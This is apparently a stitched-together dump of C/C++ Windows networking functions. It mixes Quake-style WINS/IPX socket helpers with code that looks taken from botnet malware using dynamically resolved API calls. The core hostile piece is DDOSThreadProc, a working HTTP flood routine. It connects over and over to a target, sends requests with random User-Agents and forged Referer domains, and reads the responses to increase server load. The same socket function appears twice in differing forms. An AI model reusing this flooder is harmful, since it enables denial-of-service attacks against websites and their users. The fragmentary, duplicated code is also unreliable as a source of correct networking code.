int WINS_OpenSocket(int port)
{
int newsocket;
struct sockaddr_in address;
u_long _true = 1;
if ((newsocket = psocket(PF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
return -1;
}
if (pioctlsocket(newsocket, FIONBIO, &_true) == -1) {
goto ErrorReturn;
}
address.sin_family = AF_INET;
address.sin_addr.s_addr = myAddr;
address.sin_port = htons((unsigned short)port);
if (bind(newsocket, (void *)&address, sizeof(address)) == 0) {
return newsocket;
}
Sys_Error("Unable to bind to %s", WINS_AddrToString((struct qsockaddr *)&address));
ErrorReturn:
pclosesocket(newsocket);
return -1;
}
SOCKET MyConnect1( char *Host, int Port )
{
LPHOSTENT lpHost = (LPHOSTENT)pgethostbyname( (const char*)Host );
if ( lpHost == NULL )
{
return -1;
}
SOCKET Socket = (SOCKET)psocket( AF_INET, SOCK_STREAM, 0 );
if( Socket == -1 )
{
return -1;
}
struct sockaddr_in SockAddr;
SockAddr.sin_family = AF_INET;
SockAddr.sin_addr.s_addr = **(unsigned long**)lpHost->h_addr_list;
SockAddr.sin_port = HTONS( (unsigned short)Port );
if ( (int)pconnect( Socket, (const struct sockaddr*)&SockAddr, sizeof( SockAddr ) ) == SOCKET_ERROR )
{
pclosesocket(Socket);
return -1;
}
return Socket;
}
// Функция выполнения многократного подключения к испытуемому сайту
DWORD WINAPI DDOSThreadProc(TDDOS *DDOS)
{
TMemory Buf(1024);
TMemory Referer(256);
DWORD SleepInterval = (DDOS->AttemptsPerSecond) ? (1000 / DDOS->AttemptsPerSecond) : 100;
while (!DDOS->FTerminated)
{
// Создаём сокет
SOCKET Socket = (SOCKET)psocket(AF_INET, SOCK_STREAM, 0);
if(Socket != SOCKET_ERROR)
{
// Подключаемся к серверу
struct sockaddr_in SockAddr;
SockAddr.sin_family = AF_INET;
SockAddr.sin_addr.s_addr = **(unsigned long**)DDOS->FHostAddres->h_addr_list;
SockAddr.sin_port = HTONS((unsigned short)DDOS->FRequest.Port);
// подключаемся к сокету
if ( (int)pconnect(Socket, (const struct sockaddr*)&SockAddr, sizeof( SockAddr ) ) != SOCKET_ERROR )
{
// Генерируем данные
PCHAR UserAgent = DDOS->GetRandomString(UserAgents, DDOS->FUserAgentsCount);
string RefererHost = Random::RandomString2(Random::Generate(5, 10), 'a', 'z');
DDOS->MakeString(Referer.AsStr(), "http://%s.%s/", RefererHost.t_str(), DDOS->GetRandomString(Domains, DDOS->FDomainsCount));
int Size = DDOS->MakeString(Buf.AsStr(), DDOS->FSendData.t_str(), UserAgent, Referer.AsStr());
int Sended = (int)psend(Socket, Buf.AsStr(), Size, 0);
// Для увеличения нагрузки на сервер пытаемся получить от сервера ответ
if (Sended == Size)
{
Size = (int)precv(Socket, Buf.Buf(), 1024, 0);
}
}
pclosesocket(Socket);
}
// Ждём до следующей отправки
if (!DDOS->FTerminated)
pSleep(SleepInterval);
}
pInterlockedDecrement(&DDOS->FThreadsCount);
return 0;
}
SOCKET NetConnect( char *Host, int Port )
{
int ip = (int)pinet_addr( (const char*)Host );
if ( ip == (int)INADDR_NONE )
{
LPHOSTENT rhost = (LPHOSTENT)pgethostbyname( (const char*)Host );
if ( !rhost )
{
return -1;
}
ip = *(long*)( rhost )->h_addr_list[0];
if ( !ip )
{
return -1;
}
}
SOCKET Socket = (SOCKET)psocket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
if ( Socket == INVALID_SOCKET )
{
return -1;
}
LINGER l;
l.l_linger = 3;
l.l_onoff = 1;
psetsockopt( Socket, SOL_SOCKET, SO_LINGER, (char*)&l, sizeof( l ) );
struct sockaddr_in SockAddr;
m_memset( &SockAddr, 0, sizeof( SockAddr ) );
SockAddr.sin_family = AF_INET;
SockAddr.sin_port = HTONS( Port );
SockAddr.sin_addr.S_un.S_addr = ip;
if ( (int)pconnect( Socket, (sockaddr*)&SockAddr, sizeof( SockAddr ) ) == SOCKET_ERROR )
{
pclosesocket( Socket );
return -1;
}
return Socket;
}
SOCKET MyConnect( char *Host, int Port )
{
LPHOSTENT lpHost = (LPHOSTENT)pgethostbyname( (const char*)Host );
if ( lpHost == NULL )
{
return -1;
}
sockaddr_in SockAddr;
SockAddr.sin_family = AF_INET;
SockAddr.sin_addr.s_addr = **(unsigned long**)lpHost->h_addr_list;
SockAddr.sin_port = (USHORT)phtons( (unsigned short)Port );
ConnectionData connData;
connData.SockAddr = SockAddr;
for(int i=0; i<3; i++) {
SOCKET Socket = (SOCKET)psocket( AF_INET, SOCK_STREAM, 0 );
if( Socket == -1 )
return -1;
connData.Socket = Socket;
HANDLE ConnectThreadHandle = (HANDLE)pCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ConnectThread, &connData, NULL, 0);
if((long)pWaitForSingleObject(ConnectThreadHandle, 10000) == WAIT_TIMEOUT)
{
if((int)pshutdown(Socket, 2) == SOCKET_ERROR)
{
}
pTerminateThread(ConnectThreadHandle, 1);
}
DWORD exitCode = 0;
BOOL res = (BOOL)pGetExitCodeThread(ConnectThreadHandle, &exitCode);
//wsprintfA(&str[0], "EC:%d", exitCode);
//OutputDebugStringA(&str[0]);
if(res && exitCode == 0)
return Socket;
}
return -1;
}
int
WIPX_OpenSocket ( int port )
{
int handle;
int newsocket;
struct sockaddr_ipx address;
u_long _true = 1;
for (handle = 0; handle < IPXSOCKETS; handle++)
if (ipxsocket[handle] == 0)
break;
if (handle == IPXSOCKETS)
return -1;
if ((newsocket = psocket (AF_IPX, SOCK_DGRAM, NSPROTO_IPX)) == INVALID_SOCKET)
return -1;
if (pioctlsocket (newsocket, FIONBIO, &_true) == -1)
goto ErrorReturn;
if (psetsockopt(newsocket, SOL_SOCKET, SO_BROADCAST, (char *)&_true, sizeof(_true)) < 0)
goto ErrorReturn;
address.sa_family = AF_IPX;
memset(address.sa_netnum, 0, 4);
memset(address.sa_nodenum, 0, 6);;
address.sa_socket = htons((unsigned short)port);
if( bind (newsocket, (void *)&address, sizeof(address)) == 0)
{
ipxsocket[handle] = newsocket;
sequence[handle] = 0;
return handle;
}
Sys_Error ("Winsock IPX bind failed\n");
ErrorReturn:
pclosesocket (newsocket);
return -1;
}
int WINS_OpenSocket (int port)
{
int newsocket;
struct sockaddr_in address;
u_long _true = 1;
if ((newsocket = psocket (PF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1)
return -1;
if (pioctlsocket (newsocket, FIONBIO, &_true) == -1)
goto ErrorReturn;
address.sin_family = AF_INET;
address.sin_addr.s_addr = INADDR_ANY;
address.sin_port = htons((unsigned short)port);
if( bind (newsocket, (void *)&address, sizeof(address)) == 0)
return newsocket;
Sys_Error ("bind");
ErrorReturn:
pclosesocket (newsocket);
return -1;
}
